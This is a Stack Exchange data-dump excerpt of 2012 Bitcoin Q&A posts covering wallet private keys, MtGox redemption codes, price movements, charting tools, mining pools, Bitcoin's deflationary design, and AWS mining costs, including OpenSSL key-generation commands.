  <row Id="5177" PostTypeId="2" ParentId="5171" CreationDate="2012-10-26T12:54:48.103" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://www.bitmit.net/en/q/?q=amazon&quot; rel=&quot;nofollow&quot;&gt;bitmit.net&lt;/a&gt; has quite a few gift cards already listed for sale, therefore with the right price you will be able to sell yours with no problem.&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2012-10-26T12:54:48.103" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5178" PostTypeId="1" CreationDate="2012-10-26T18:02:11.860" Score="2" ViewCount="2320" Body="&lt;p&gt;I created 2 different wallets at block chain. The first one gave me an address for receiving btc. I used that address for a purchase, however, now when I login to my wallet, it no longer shows that address. Luckily, I saved it, and can search for it. It does show the btc I purchased, but requires me to enter the private key before moving them. I thought the entire address I sent for the btc included the private key. I also checked the other wallet I created, and the address I first got is not there either. These are the only 2 wallets I created and I know I received the original address from one of them. I know there are hackers out there, but that is not me. This is MY wallet, and I paid a lot of money for the btc, but clearly I screwed up somewhere. This is the address: 1593pt67xM8KRZ23Akxp2KwCj856fCfWSh&lt;/p&gt;&#xA;" OwnerUserId="2121" LastEditorUserId="85" LastEditDate="2012-10-26T21:33:04.960" LastActivityDate="2018-03-15T09:06:34.760" Title="Missing key on blockchain" Tags="|private-key|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5179" PostTypeId="2" ParentId="5178" CreationDate="2012-10-26T20:09:48.580" Score="1" Body="&lt;p&gt;Your Bitcoin address and your private key are not the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The private key is a random number. You keep that number a secret, and only having it allows you to spend Bitcoins. It is used to sign transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the private key you derive a public key. It is used to show that you are using the correct private key. It is used to verify transaction signatures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the public key you can derive the Bitcoin address, which is a convenient way of encoding the public key. It is more compact, comes with error detection, and so forth. It is used to let people know where to send their Bitcoins to when sending you money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a private key you can derive the public key. From the public key - the Bitcoin address, but in neither of those cases can you do it in reverse. If you have lost your private key, your money is lost forever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, from what I can see your address &lt;a href=&quot;http://blockchain.info/address/1593pt67xM8KRZ23Akxp2KwCj856fCfWSh&quot; rel=&quot;nofollow&quot;&gt;has been successfully used for withdrawals&lt;/a&gt;, and its balance is currently zero. If you have gotten it from blockchain.info eWallet, you probably should contact the owner of the site with your issues. In Bitcoin world, it is very hard to prove that you own an address without having a private key.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-26T20:09:48.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5180" PostTypeId="1" CreationDate="2012-10-26T21:10:56.810" Score="4" ViewCount="198" Body="&lt;p&gt;In other words, if I receive a MtGox code and redeem it to my account, can the person who gave me the bitcoins, via the code, see that my account was the account that redeemed it?&lt;/p&gt;&#xA;" OwnerUserId="2122" LastEditorUserId="2122" LastEditDate="2012-10-26T21:21:11.900" LastActivityDate="2012-10-26T22:00:58.150" Title="Can the sender of a MtGox code see which account the code is redeemed to?" Tags="|exchanges|mtgox|trading|receiving|bitcoin-core-accounts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5181" PostTypeId="2" ParentId="5180" CreationDate="2012-10-26T22:00:58.150" Score="3" Body="&lt;p&gt;Nope.  Or, at least, unless you are law enforcement and have a subpoena.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, unless you redeemed it yourself (which would list in your deposit history).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can tell if it has been redeemed by redeeming it yourself and seeing if it had funds, but that's about it.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-10-26T22:00:58.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5182" PostTypeId="2" ParentId="5171" CreationDate="2012-10-27T03:01:53.960" Score="1" Body="&lt;p&gt;You can also use the #bitcoin-otc channel on IRC:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bitcoin-otc.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin-otc.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1947" LastActivityDate="2012-10-27T03:01:53.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5183" PostTypeId="2" ParentId="5172" CreationDate="2012-10-27T03:16:25.070" Score="1" Body="&lt;p&gt;Im not sure but you can find a complete list of pools here which should help &lt;a href=&quot;https://en.bitcoin.it/wiki/Category:Pool_Operators&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Category:Pool_Operators&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2100" LastActivityDate="2012-10-27T03:16:25.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5184" PostTypeId="1" AcceptedAnswerId="5188" CreationDate="2012-10-27T03:45:48.443" Score="5" ViewCount="527" Body="&lt;p&gt;Does anyone have any solid ideas or knowledge on why the price has dropped so much over the past few days? There is a lot of speculation, but nothing I have read to date seems to adequately explain the recent drop. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The drop is illustrated here, and shows a decrease in price of roughly 14% over the two days:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/8CDWW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1947" LastEditorUserId="516" LastEditDate="2012-10-27T07:48:41.953" LastActivityDate="2012-12-19T03:16:37.197" Title="Bitcoin price drop in the past few days (25/10/12 to 27/10/12)" Tags="|exchanges|mtgox|exchange-rate|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5185" PostTypeId="2" ParentId="5152" CreationDate="2012-10-27T04:53:23.753" Score="2" Body="&lt;p&gt;I am no lawyer, but as far as I know there is no specific precedent for this, or none that I could find anyway. Due to this, if you could reasonably prove that you had no intent in supporting that illegal organisation or group I don't see a strong case for any prosecution. Obviously there is a huge amount of grey area here, so what is &quot;reasonable&quot; would be up to interpretation. Also each country would have its own individual laws, which makes this even harder to give a specific answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are worried, I would recommend that you do two things. 1) Cover your ass by keeping all emails or any correspondence relating to your BTC transactions in a secure place. 2) You can also use tools like PGP, Hushmail, Cryptocat, Zfone, TrueCrypt and Tor to help protect your online anonymity.&lt;/p&gt;&#xA;" OwnerUserId="2100" LastEditorUserId="516" LastEditDate="2012-11-01T02:31:58.163" LastActivityDate="2012-11-01T02:31:58.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5186" PostTypeId="1" CreationDate="2012-10-27T05:05:08.003" Score="4" ViewCount="3237" Body="&lt;p&gt;Does anyone know of any good paid or open source software solutions for displaying Bitcoin charts on a customer facing website?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are three main types of charts we want to offer at this stage:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mtgoxlive.com/orders&quot; rel=&quot;nofollow&quot;&gt;MtGox Live&lt;/a&gt; style (not sure what this type of chart is called but would love to know if someone does?)&lt;/li&gt;&#xA;&lt;li&gt;Candlestick Charts like at &lt;a href=&quot;http://bitcoincharts.com/charts&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/charts&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Basic line graphs like at &lt;a href=&quot;http://blockchain.info/charts&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/charts&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have to date found the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Google charts &lt;a href=&quot;https://developers.google.com/chart/&quot; rel=&quot;nofollow&quot;&gt;https://developers.google.com/chart/&lt;/a&gt; These unfortunately don't really cut it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;StatsMix &lt;a href=&quot;http://www.statsmix.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.statsmix.com/&lt;/a&gt; The pricing a little higher than I wanted to pay for this solution.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As for where to get the data feeds I am okey with this. It's only the web facing charts that I need to find a solution toif anyone has come across before?&lt;/p&gt;&#xA;" OwnerUserId="1947" LastEditorUserId="1947" LastEditDate="2012-10-27T09:50:04.417" LastActivityDate="2012-10-27T11:43:14.743" Title="Bitcoin charts for websites" Tags="|charts|website-integration|" AnswerCount="1" CommentCount="2" ClosedDate="2012-10-27T17:05:32.127" ContentLicense="CC BY-SA 3.0" />
  <row Id="5187" PostTypeId="2" ParentId="5172" CreationDate="2012-10-27T05:47:09.260" Score="3" Body="&lt;p&gt;We ( &lt;a href=&quot;https://wwww.bitlc.net&quot; rel=&quot;nofollow&quot;&gt;https://wwww.bitlc.net&lt;/a&gt; ) primarily, and strongly recommend, use of port 80 mining. With 8080 and 8332 fallbacks, but only over IPv4...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The regular pool.bitlc.net:80 is fully accessible over both IPv4 and IPv6.&#xA;pool.bitlc.net:8080 and :8332 works to, both there is no reason to use them...&lt;/p&gt;&#xA;" OwnerUserId="2124" LastActivityDate="2012-10-27T05:47:09.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5188" PostTypeId="2" ParentId="5184" CreationDate="2012-10-27T07:37:15.597" Score="8" Body="&lt;p&gt;All you'll ever get is speculation. Nobody knows why prices change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's just like when you listen to the news and they tell you that stocks dropped because of &quot;profit taking&quot;. Clearly, people were selling if stock prices dropped. But nobody really knows if people were taking profits, cutting losses, or something else entirely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are emergent behaviors of complex systems and only in rare cases can you explain price movements. The most popular theory I've heard is that at least one significant factor is &lt;a href=&quot;https://bitcointalk.org/index.php?topic=120706.0&quot;&gt;BitInstant downtime&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-10-27T07:37:15.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5189" PostTypeId="2" ParentId="2972" CreationDate="2012-10-27T08:12:48.480" Score="2" Body="&lt;p&gt;In Australia there are currently a number of options for buying Bitcoins. Below is a list of exchanges that I am aware of that accept AUD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Fixed Price Exchanges:&lt;/strong&gt; (Create order at fixed price and transfer funds after order is created. Usually same day service)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitinnovate.com&quot; rel=&quot;nofollow&quot;&gt;Bit Innovate&lt;/a&gt; Accepts over the counter bank deposits (our site)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.spendbitcoins.com/buy/&quot; rel=&quot;nofollow&quot;&gt;Spend Bitcoins&lt;/a&gt; Accepts over the counter bank deposits&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.bitXoin.com/&quot; rel=&quot;nofollow&quot;&gt;bitXoin&lt;/a&gt; Accepts over the counter bank deposits&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Another good resource is &lt;a href=&quot;https://en.bitcoin.it/wiki/Buying_bitcoins&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Buying_bitcoins&lt;/a&gt; which usually contains up to date information on all the ways to buy bitcoins in all countries.&lt;/p&gt;&#xA;" OwnerUserId="1947" LastEditorUserId="2306" LastEditDate="2015-10-01T03:55:50.493" LastActivityDate="2015-10-01T03:55:50.493" CommentCount="0" CommunityOwnedDate="2012-10-27T08:12:48.480" ContentLicense="CC BY-SA 3.0" />
  <row Id="5190" PostTypeId="1" CreationDate="2012-10-27T11:00:26.213" Score="7" ViewCount="939" Body="&lt;p&gt;I have no doubt that the person who designed Bitcoin was many times smarter than me but with the benefit of hindsight was the decreasing number of bitcoins a good design decision given the 'hoarding' it encourages? Wouldn't a steady and low inflation rate increase the incentive to spend bitcoins and make it more attractive to the later adopters? &lt;/p&gt;&#xA;" OwnerUserId="2125" LastEditorUserId="105" LastEditDate="2012-10-27T17:00:40.740" LastActivityDate="2012-11-03T10:16:40.757" Title="Why was Bitcoin designed with a decreasing production rate?" Tags="|economic-theory|deflation|" AnswerCount="6" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5191" PostTypeId="2" ParentId="5186" CreationDate="2012-10-27T11:43:14.743" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://www.highcharts.com&quot; rel=&quot;nofollow&quot;&gt;http://www.highcharts.com&lt;/a&gt; is pretty good (Blockchain.info uses it). Charts can be rendered both client and server side which is useful for png previews.&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastActivityDate="2012-10-27T11:43:14.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5192" PostTypeId="2" ParentId="5190" CreationDate="2012-10-27T11:55:03.077" Score="3" Body="&lt;p&gt;Bitcoin is deflationary, in modern &quot;economy&quot; it is deemed to be bad. &#xA;The modern economist argument is that we will be hoarding, instead of spending. Because we know that tomorrow the things will cost less.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is modern myth(=mistake), because:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;We always need to buy important things (food, transport fees, clothing), no matter what the price will be tommorow. &lt;/li&gt;&#xA;&lt;li&gt;Inflationary economy force us to buy useless goods. We are promoting low quality products, while those that are important for human beings are getting less capital. &lt;/li&gt;&#xA;&lt;li&gt;For sustainable economy we need to have a production of real goods. When majority of people are buying goods while creating debt. It may seem that GDP grows. But the truth is rather that the consumption is growing, not production. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Wouldn't a steady and low inflation rate increase the incentive to spend BitCoins and make it more attractive to the later adopters?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer would be almost the same as the previous one. You are speaking about &lt;strong&gt;attractivity&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In our world, there are payment systems that are inflationary. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;They can promote economy (By QE = printing money), when there is recession. &lt;/li&gt;&#xA;&lt;li&gt;When there is boom, they must draw money back.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It is not happening in most cases. We may say, that it is caused by people in power. Actualy it is mostly the problem of system and its incentives. I recommend &lt;a href=&quot;http://www.youtube.com/watch?v=XBmJay_qdNc&amp;amp;feature=relmfu&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; video. The biggest problem is that it always ends and ended with hyperinflation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;It is everybody choice: Convenience vs. Sustainability.&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you choose Bitcoin, you will use a system that gives right incentive. It may even lead into convenience. &lt;/p&gt;&#xA;" OwnerUserId="1580" LastActivityDate="2012-10-27T11:55:03.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5193" PostTypeId="2" ParentId="4052" CreationDate="2012-10-27T12:01:20.040" Score="2" Body="&lt;p&gt;Playing by the rules, doing the right thing is of the utmost importance. This often times causes situations that are much harder to deal with or endure, as well more expensive. Understanding that when we buy from a company we advocate for them, through the purchase from them, we as consumers empower them to grow and proceed. It is critical that we ensure the company is something we wish to support. Though we many not always be able to do this, nor is it always possible to gain the required information, we should still try. As Americans we really need to, especially now after all we have learned from history, investigate who it is we purchase from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Purchasing from companies that harm our workers, only harm ourselves. Supporting Wal*Mart and thousands of unhappy people working at those locations, while destroying our own economy and infrastructure is irrational. Dealing with major banks that have bad histories is another bad idea, and supporting any structure of power that does not value humanity at it's core is something I can not and will not do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The importance is people realizing that business is to support people, and that it in it's self is a fabrication in reality and has no feelings, if it's interest is not to support people than surely it will only harm society as a whole so a few can become super inflated. I am not so disassociated with reality to think that those who have worked so hard as to earn a sweet spot do not deserve it, no sir. Merely stating that in the game of chess, both kings present are very honorable, and every piece was willing to protect them at all cost. Few companies carry compassion, honor and dignity within their model. The standards displayed by the staff at Butterfly Labs Inc, is exemplary of how a true business treats people. This (King) in modern society equates to an honorable business, whom one would want to empower and support, and thus purchase from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can now explain better what has happened. I contacted BFL and (assumed) competition companies, I constructed e-mails to each, much like what BFL received from me. I picked a horrible overrun time when not only is product supply low but customer service staff would be having the most difficult time dealing with unruly customers. I picked an ambitious easily discarded set of criteria to contact about and let the pieces fall where they may. Here is how it played out, and why BFL gained so much clout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No company replied to me except BFL, not one. Granted there are only a few that can be contacted in this case. The few are very commonly known and are not easily mistaken, and the names will remain obscured for ONLY the sake that everyone makes mistakes. The information given was legitimate and NOT FABRICATED, the texts generated were by my own person.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BFL not only assisted me with finding what I was looking for, but went above and beyond the call of duty! The staff seemed happy and willing to help me, even when they really had no such obligation to such a situation I presented them with. It is in my personal opinion and within my observational reason to say that Butterfly Labs is not only a company that does care about it's customers, but one that cares about it's employees as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This information has been sent to the BBB © 2012 BBB of Alaska, Oregon &amp;amp; Western Washington (In the form of business compliment)&#xA;&lt;a href=&quot;http://alaskaoregonwesternwashington.bbb.org/&quot; rel=&quot;nofollow&quot;&gt;http://alaskaoregonwesternwashington.bbb.org/&lt;/a&gt;&#xA;   If at any time BFL would like to use my information gained in correspondence with me they are allowed to do so as they see fit.&lt;/p&gt;&#xA;" OwnerUserId="2084" LastActivityDate="2012-10-27T12:01:20.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5194" PostTypeId="2" ParentId="5190" CreationDate="2012-10-27T20:09:41.947" Score="3" Body="&lt;p&gt;With every purchase at retail with a Visa/Mastercard/etc. payment card, somewhere in the range of 3% goes to the banking system in the form of fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Bitcoin, the fees are tiny fraction of that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the merchant will accept payment in bitcoin, then there is room to offer a discount for customers paying with bitcoins at no cost to the merchant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as a consumer, let's say you are given the option for your $100 purchase:&#xA;$100 if paying with Visa/Mastercard&#xA;$98 worth of bitcoins (at current market rate) if paying with bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you hoard, do you know that you can make more than 2% by holding your coins?  Or is it beneficial to take the 2% discount today (and then through a bank transfer buy more bitcoins to replenish what was just spent)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the argument fails because there is greater value in using bitcoins in commerce than comes from the potential future increase in the exchange rate.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-10-27T20:09:41.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5195" PostTypeId="2" ParentId="5178" CreationDate="2012-10-27T20:17:23.137" Score="0" Body="&lt;p&gt;Are you saying you received a payment but don't see the address when viewing the Receive Money tab in Blockchain.info/wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That can happen when the funds have been spent, as the address gets archived.  Click the Archive sub-tab to see if the address appears there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you can see all activity for your wallet by clicking the My Transactions main-tab near the top.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-10-27T20:17:23.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5196" PostTypeId="2" ParentId="5190" CreationDate="2012-10-27T22:06:02.340" Score="8" Body="&lt;p&gt;The main issue with Bitcoin is not attracting late developers, but early developers. At its infancy, Bitcoin was an interesting curiosity - people would play around with it but not necessarily use it as money. But due to its scarcity and many benefits, Bitcoin came to be recognised as a digital currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At that point people could either wait and see if it gets bigger, or start using it. If Bitcoin's reward wasn't decreasing, probably a lot of people would put off getting into Bitcoin until it is more stable. If everyone decided to wait, Bitcoin would be going nowhere and fade into obscurity. Nobody would then care for late adopter's benefit. This is why getting early adopters on is so crucial - with them comes incentive for late adopters anyway.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-10-27T22:06:02.340" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5197" PostTypeId="1" CreationDate="2012-10-27T22:54:40.637" Score="3" ViewCount="806" Body="&lt;p&gt;Mailed in cash with postal envelope. Website started acknowledging receipt via postal delivery 3 weeks since. Blockchain within 3 hours of &quot;caught up&quot;. Yet no bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it a scam?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cash amount was small, should not pose problem. Was what you call &quot;pilot test&quot; and had bitcoins arrived promptly would be followed with larger purchase.&lt;/p&gt;&#xA;" OwnerUserId="2060" LastEditorUserId="516" LastEditDate="2013-01-24T05:14:46.727" LastActivityDate="2013-01-24T09:08:08.410" Title="Is quickbitcoins.net reputable?" Tags="|buy-bitcoins|" AnswerCount="4" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5198" PostTypeId="1" AcceptedAnswerId="5199" CreationDate="2012-10-28T05:39:00.053" Score="8" ViewCount="14580" Body="&lt;p&gt;I want to know because I would like to generate a vanity address at &lt;a href=&quot;https://vanitypool.appspot.com/&quot; rel=&quot;noreferrer&quot;&gt;Vanity Pool&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1828" LastEditorUserId="323" LastEditDate="2012-10-30T07:47:19.773" LastActivityDate="2020-04-19T10:43:31.530" Title="For a non-technical person, how do I generate a ECDSA key pair easily?" Tags="|vanity-address|ecdsa|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5199" PostTypeId="2" ParentId="5198" CreationDate="2012-10-28T06:44:08.300" Score="15" Body="&lt;p&gt;Install OpenSSL. When the executable in your path, enter this command to generate a private key:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;openssl ecparam -genkey -name secp256k1 -noout -out myprivatekey.pem&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To create the corresponding public key, do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;openssl ec -in myprivatekey.pem -pubout -out mypubkey.pem&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will give you both keys in PEM format. I'm not sure what format the web page wants, but it shouldn't be difficult to convert. You can use variants of the last command to output other formats. Remove &lt;code&gt;-pubout&lt;/code&gt; if you want the private key, leave it if you want the public key. And you can use &lt;code&gt;-outform DER&lt;/code&gt; to get DER format. You can use &lt;code&gt;-text&lt;/code&gt; to get hexadecimal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do not give any form of your private key to anyone else.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-10-28T06:44:08.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5200" PostTypeId="2" ParentId="5190" CreationDate="2012-10-28T06:49:41.197" Score="4" Body="&lt;p&gt;&quot;Hoarding&quot; is a loaded term used to denigrate saving by people who like having the government give money to bankers. To &quot;hoard&quot; money, what do you do? You produce something, you trade it for money, and ... well, that's it. So &quot;hoarding&quot; is actually just &lt;em&gt;producing&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea that hoarding is bad is just a broken window fallacy. Hoarding means producing without consuming, giving without taking.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;But at times it could be good for a country to make its own currency that can go down in value to increase export and get more tourists. To get people to use such a FIAT people in that region must pay tax in that currency.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Good for some people in that country, bad for others. Those that it is bad for will only go along with such a scheme if they have no practical choice. In other words, this is one way a government picks winners and losers and makes markets less free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for increasing exports, that's another fallacy. Imports are what you get from other countries. Exports are what pays for it. If you raise your exports relative to your imports, you are paying more to other countries and getting less. That's &lt;em&gt;not&lt;/em&gt; good.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2012-10-29T09:41:02.890" LastActivityDate="2012-10-29T09:41:02.890" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5201" PostTypeId="2" ParentId="5190" CreationDate="2012-10-28T07:25:53.597" Score="1" Body="&lt;p&gt;Bitcoin was designed to have potential to increase in value a lot over the long term. If not, noone would want to take the risc of adopting it, caring about it or developing tools for it.&#xA;This gives it potential stability. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When people hoard it means that they have a longterm look at the value of Bitcoin.&#xA;If noone was hoarding it would mean that everyone wanted to get rid of their Bitcoins as quick as possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if everyone wanted to get rid of their Bitcoins, that would mean they would not want them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can be sure that people will want your Bitcoins in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When people say hoarding is bad, they look at Bitcoin as if it was to replace a FIAT currency. Bitcoin is not a FIAT and must not replace any other currency, thus does not need to drive a countrys economy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A currency that allways goes down in value such as FIAT must be forced upon people with laws. Noone would want money that goes down in value if they had a choice between money that keeps it value or goes up and money that decrease.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But at times it could be good for a country to make its own currency that can go down in value to increase export and get more tourists. &#xA;To get people to use such a FIAT people in that region must pay tax in that currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that currency will only be used by those that need to pay tax with it so its of no interest for example a African person or someone in india.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However a currency such as Bitcoin that can hold and will probably increase 100 fold in value is of interest to everyone on earth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also in the best interest of everyone to deal in a currency that noone, not a single country can print as much of as they like. Thus Bitcoin does not give away the power to another country since there is noone who can decide to print more of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus its a excellent tool for trading across the borders, such as on the internet, something which another countrys FIAT money is not.&lt;/p&gt;&#xA;" OwnerUserId="2127" LastActivityDate="2012-10-28T07:25:53.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5203" PostTypeId="1" CreationDate="2012-10-28T13:05:46.517" Score="15" ViewCount="23746" Body="&lt;p&gt;Read title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating a soft of self sustainability if you will. It might not be possible?&lt;/p&gt;&#xA;" OwnerUserId="2130" LastEditorUserId="5406" LastEditDate="2016-02-15T17:58:14.283" LastActivityDate="2016-02-15T17:58:14.283" Title="Can you mine more bitcoins on amazon aws than it would cost to operate the servers?" Tags="|mining-profitability|cpu-mining|amazon-web-services|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5205" PostTypeId="2" ParentId="5203" CreationDate="2012-10-28T15:35:36.847" Score="14" Body="&lt;p&gt;AWS is rental of server instances.  Servers without GPUs. Bitcoin is not cost effective when mining using CPUs, so nobody has done that analysis for nearly two years because its an obvious money loser and becomes a worse option with each passing day of rising difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now EC2 (compute cluster) does use GPUs but NVidia GPUs which don't perform at a fraction of the level of AMD GPUs for the specific purpose of Bitcoin mining. Although it was not analyzed recently, a &lt;a href=&quot;https://bitcoin.stackexchange.com/a/1064/153&quot;&gt;calculation from a while&lt;/a&gt; ago provides numbers in the right ballpark, if not better than they would be today.  In that study costs you more than twenty dollars of EC2 charges to earn one dollar of bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once ASICs ship that difference will increase possibly by an order of magnitude.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2012-10-28T15:35:36.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
